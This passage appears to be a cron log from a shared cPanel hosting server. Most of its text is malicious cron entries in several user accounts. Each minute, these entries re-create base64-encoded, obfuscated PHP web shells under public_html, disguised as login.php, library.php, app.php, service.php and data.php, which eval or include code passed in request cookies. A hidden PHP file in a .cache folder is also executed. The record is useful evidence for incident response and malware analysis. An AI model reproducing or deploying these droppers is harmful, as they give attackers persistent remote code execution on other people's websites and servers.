g1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:05:01 medusa CROND[32077]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:05:01 medusa CROND[32083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:05:01 medusa CROND[32084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:05:01 medusa CROND[32086]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 14:05:01 medusa CROND[32088]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:05:01 medusa CROND[32089]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:05:01 medusa CROND[32090]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 14:05:01 medusa CROND[32091]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:05:01 medusa CROND[32094]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:05:01 medusa CROND[32103]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:05:01 medusa CROND[32102]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:05:01 medusa CROND[32105]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:05:01 medusa CROND[32106]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:05:01 medusa CROND[32097]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 14:05:01 medusa CROND[32114]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:05:01 medusa CROND[32115]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:05:01 medusa CROND[32119]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:05:01 medusa CROND[32113]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:05:01 medusa CROND[32121]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:05:01 medusa CROND[32124]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:05:01 medusa CROND[32116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:05:01 medusa CROND[32126]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:05:01 medusa CROND[32125]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 14:05:01 medusa CROND[32122]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:06:02 medusa CROND[1726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:06:02 medusa CROND[1727]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:06:02 medusa CROND[1728]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:06:02 medusa CROND[1729]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:06:02 medusa CROND[1730]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:06:02 medusa CROND[1731]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:06:02 medusa CROND[1736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:06:02 medusa CROND[1737]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:06:02 medusa CROND[1738]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:06:02 medusa CROND[1739]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:06:02 medusa CROND[1740]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:06:02 medusa CROND[1741]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:06:02 medusa CROND[1742]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:06:02 medusa CROND[1744]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:06:02 medusa CROND[1746]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:07:01 medusa CROND[3443]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09